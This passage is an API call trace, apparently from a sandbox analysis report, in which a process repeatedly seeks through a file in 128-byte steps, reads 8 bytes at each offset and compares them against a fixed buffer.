	[0099.034] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6000
	[0099.034] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.034] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.034] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6080
	[0099.034] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.034] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.034] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6100
	[0099.034] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.034] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.034] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6180
	[0099.034] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.034] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.034] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6200
	[0099.034] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.035] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.035] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6280
	[0099.035] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.035] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.035] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6300
	[0099.035] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.035] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.035] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6380
	[0099.035] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.035] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.035] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6400
	[0099.035] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.035] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.035] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6480
	[0099.035] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.035] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.035] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25856, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6500
	[0099.035] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.035] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.035] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6580
	[0099.035] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.035] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.035] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6600
	[0099.035] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.035] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.035] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6680
	[0099.035] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.035] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.035] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6700
	[0099.035] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.035] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.035] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6780
	[0099.035] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.035] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.035] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6800
	[0099.035] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.035] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.036] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6880
	[0099.036] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.036] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.036] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6900
	[0099.036] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.036] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.036] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6980
	[0099.036] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.036] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.036] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27136, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a00
	[0099.036] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.036] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.036] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a80
	[0099.036] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.036] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.036] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27392, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b00
	[0099.036] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.036] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.036] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b80
	[0099.036] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.036] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.036] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c00
	[0099.036] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.036] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.036] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c80
	[0099.036] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.036] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.036] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27904, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d00
	[0099.036] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.036] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.036] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d80
	[0099.036] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.036] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.036] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00
	[0099.036] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.036] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.036] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e80
	[0099.037] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.037] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.037] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f00
	[0099.037] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.037] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.037] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f80
	[0099.037] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.037] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.037] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7000
	[0099.037] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.037] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.037] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7080
	[0099.037] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.037] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.037] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7100
	[0099.037] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.037] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.037] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7180
	[0099.037] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.037] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.037] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7200
	[0099.037] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.037] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.037] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7280
	[0099.037] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.037] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.037] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7300
	[0099.037] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.037] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.037] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29568, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7380
	[0099.037] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.037] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.037] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7400
	[0099.037] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.037] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.037] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7480
	[0099.037] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.038] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.038] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29952, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7500
	[0099.038] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.038] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.038] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7580
	[0099.038] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.038] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.038] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7600
	[0099.038] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.038] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.038] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7680
	[0099.038] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.038] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.038] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7700
	[0099.038] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.038] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.038] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30592, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7780
	[0099.038] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.038] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.038] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7800
	[0099.038] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.038] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.038] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7880
	[0099.038] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.038] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.038] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7900
	[0099.038] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.038] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.038] SetFilePointer (in: hFile=0xc4, lDistanceToMove=31104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7980
